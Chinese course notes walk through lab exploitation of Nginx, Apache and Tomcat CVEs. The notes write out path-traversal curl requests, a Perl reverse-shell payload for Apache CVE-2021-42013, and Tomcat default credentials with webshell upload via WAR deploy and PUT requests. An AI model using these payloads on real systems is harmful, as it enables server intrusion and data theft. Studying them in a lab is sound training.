文章目录
- 前记
- 服务攻防——第七十九天
- 中间件安全&IIS&Apache&Tomcat&Nginx&弱口令&不安全配置&CVE
- 中间件 - IIS-短文件&解析&蓝屏等
- 中间件 - Nginx-文件解析&命令执行等
- 常见漏洞介绍
- 漏洞复现
- 中间件 - Apache-RCE&目录遍历&文件解析等
- 常见漏洞介绍
- 漏洞复现
- CVE-2021-41773
- CVE-2021-42013
- 中间件 - Tomcat-弱口令&文件上传&文件包含等
- 弱口令猜解
- CVE-2017-12615
- CVE-2020-1938
- 其他CVE
前记
- 今天是学习小迪安全的第七十九天,本节课内容是中间件安全,包括几大常见的中间件:IIS、Apache、Tomcat、Nginx等
- 主要以实战为主,希望下去能自己复现一遍
服务攻防——第七十九天
中间件安全&IIS&Apache&Tomcat&Nginx&弱口令&不安全配置&CVE
中间件 - IIS-短文件&解析&蓝屏等
- 短文件:信息收集,前面讲过
- 文件解析:还有点用,前面讲过
- HTTP.SYS:蓝屏崩溃,前面讲过
- CVE-2017-7269:条件苛刻无意义
- 在前面的四十一讲中讲到过,文章地址:小迪安全v2023学习笔记(四十一讲)-CSDN博客
中间件 - Nginx-文件解析&命令执行等
常见漏洞介绍
- CVE-2013-4547
- 漏洞描述:后缀解析,文件名解析
- 配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
- 影响版本:
Nginx
0.8.41~1.4.3
/1.5.0~1.5.7
- CVE-2017-7529
- 漏洞描述:
Nginx
越界读取缓存漏洞,意义不大 - 影响版本:
Nginx
0.5.6~1.13.2
- 漏洞描述:
- CVE-2021-23017
- 漏洞描述:无EXP有POC,是拒绝服务漏洞,官方描述可以命令执行,但漏洞没有公开
- 影响版本:
Nginx
0.6.18~1.20.0
- PoC地址:https://github.com/M507/CVE-2021-23017-PoC
- Nginx漏洞公开官网地址:https://nginx.org/en/security_advisories.html
漏洞复现
-
这里我们演示一下
CVE-2021-23017
这个漏洞,首先我们需要启动昨天的Vulfocus
,下载Nginx的靶场:
-
然后启动靶场,访问网站,能看到下面这个页面就说明是Nginx:
-
我们可以通过数据包看看它当前的版本是否符合我们漏洞的影响版本:
-
这里可以看到版本为
1.18.0
,符合我们的漏洞版本,这里就可以直接尝试利用PoC验证一下:
sudo python3 poc.py --target 192.168.0.143:34735 --dns_server 8.8.8.8
-
直接使用这个
poc.py
是会报错的,因为它不能解析ip:port
这种格式,需要让AI修改一下,然后再运行上面这个代码:
-
然后我们需要让受害者主机进行DNS解析,访问域名即可,但是这里是用的虚拟机,没有域名,而且本地域名用了我也没有复现成功,各位就下去自己试试看吧
中间件 - Apache-RCE&目录遍历&文件解析等
常见漏洞介绍
- CVE-2021-41773:
- 漏洞描述:CVE-2021-41773 是 Apache HTTP Server 2.4.49 中首次披露的路径穿越(目录遍历)漏洞,攻击者可绕过 URL 规范化,读取 Web 目录外的任意文件;若服务器同时启用 CGI/ScriptAlias,还可进一步实现远程命令执行(RCE)。
- 影响版本:
Apache HTTP Server 2.4.49
- 利用:
#使用curl测试,前面是固定的,后面的/etc/passwd是要读取的文件
curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'# 使用bp发包测试
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
- CVE-2021-42013:
- 漏洞描述:CVE-2021-42013 是 Apache 对 CVE-2021-41773 的“修补失败”产物:官方在 2.4.50 中只堵了单重编码的
%2e
,却忘了处理双重 URL 编码,导致攻击者仍可用.%%32e
再次绕过路径规范化,实现与 CVE-2021-41773 完全相同的危害:任意文件读取 + CGI 场景下 RCE。 - 影响版本:
Apache HTTP Server 2.4.50
- 利用:
- 漏洞描述:CVE-2021-42013 是 Apache 对 CVE-2021-41773 的“修补失败”产物:官方在 2.4.50 中只堵了单重编码的
# 命令行
curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'# 数据包
# 下面使用bp发post包,数据为要执行的命令
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
# 要执行的命令,这里是执行反弹shell命令
echo;perl -e 'use Socket;$i="192.168.0.103";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
-
CVE-2017-15715:
- 漏洞描述:Apache HTTPD 是一款 HTTP 服务器。其 2.4.0~2.4.29 版本存在一个解析漏洞,在解析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。
- 演示案例:Apache HTTPD 换行解析漏洞 (CVE-2017-15715) - kalibb - 博客园 (cnblogs.com)
-
CVE-2017-9798
:利用价值不大 -
CVE-2018-11759
:利用价值不大 -
CVE-2021-37580
:插件漏洞
漏洞复现
- 这里我们就只复现一二两个漏洞(第三个是之前复现过的),然后需要下载对应的靶场
- 我的本地靶场不知道怎么崩掉了,这里就还是使用在线的
Vulfocus
靶场,其实还是能用的
CVE-2021-41773
-
首先看一下它的版本为
Apache/2.4.49 (Debian)
,符合我们的漏洞版本,那这里就直接测试了:
-
成功读取到
/etc/password
的内容,说明漏洞是存在的
CVE-2021-42013
-
这个的靶场就可以直接用上面这个,然后我们也是直接尝试PoC即可:
-
或者使用BP发包,也是OK的,比如这里也执行
id
命令:
-
当然,也可以尝试反弹Shell,或者正向Shell都是OK的
中间件 - Tomcat-弱口令&文件上传&文件包含等
弱口令猜解
- 漏洞描述:Tomcat提供一个网页端的后台管理页面,该页面需要配置才可用,默认账号密码为
tomcat/tomcat
或者admin/admin
,如果没有重新配置账号密码则可用默认用户登录,或者爆破弱口令登录;之后通过上传War
包可拿Shell
- 利用:
- 先爆破
tomcat
登录弱口令 - 然后将生成的 webshell 后门如 1.jsp 压缩成 zip 后修改后缀为 war
- 上传 war 访问链接 / 1/1.jsp
- 文件存在,上传成功,使用工具连接即可
- 先爆破
- 演示:
-
首先配置
tomcat
账户,位置为/conf/tomcat-users.xml
,添加如下用户
-
关闭杀软,然后启动
tomcat
,点击Manager App
-
输入默认账号和密码尝试登录,或者尝试弱口令爆破
-
然后就登录进来了,找到部署WAR文件的地方
-
我们利用哥斯拉生成一个
jsp
后门,然后压缩为压缩包,将后缀改为.war
格式
-
上传,然后访问该
war
包下的1.jsp
文件,出现空白说明文件存在
-
然后直接通过哥斯拉连接即可
-
CVE-2017-12615
- 漏洞描述:当存在漏洞的 Tomcat 运行在 Windows/Linux 主机上, 且启用了 HTTP PUT 请求方法( 例如, 将 readonly 初始化参数由默认值设置为 false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的 webshell 文件,JSP 文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限
- 影响版本:
Apache Tomcat 7.0.0 - 7.0.81
- 利用:使用 bp 发 PUT 包,数据为 jsp 后门代码,可以右键
Paste from file
,然后选择后门文件 1.jsp 即可
// 基于Linux
PUT /x.jsp/
PUT /xx.jsp%20// 基于Windows
PUT /xxx.jsp::$DATA
- 演示:
-
这里关闭杀软,生成一个
jsp
木马,然后访问靶场进行抓包,右键Paste from file
选中刚刚的文件,并将提交方式改为PUT:
-
显示201说明上传成功,我们访问该文件,空白说明文件存在:
-
直接尝试哥斯拉连接,成功:
-
CVE-2020-1938
- 漏洞描述:
Apache Tomcat AJP
协议(默认 8009 端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器 webapp 目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。 - 影响版本:
- Tomcat 6.*
- Tomcat 7.* < 7.0.100
- Tomcat 8.* < 8.5.51
- Tomcat 9.* < 9.0.31
- 利用:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 目标IP -p 目标端口 -f 读取的文件名
- 演示:
-
启动靶场,然后直接脚本一把梭即可,比如这里读取
/WEB-INF/web.xml
文件:
-
如果该站点存在文件上传功能,那可以配合实现RCE
-
其他CVE
CVE-2020-11996
拒绝服务:危害过大,权限无关,意义不大CVE-2020-9484
反序列化:利用条件太苛刻,意义不大- 参考:Tomcat常见安全漏洞 | 高木のBlog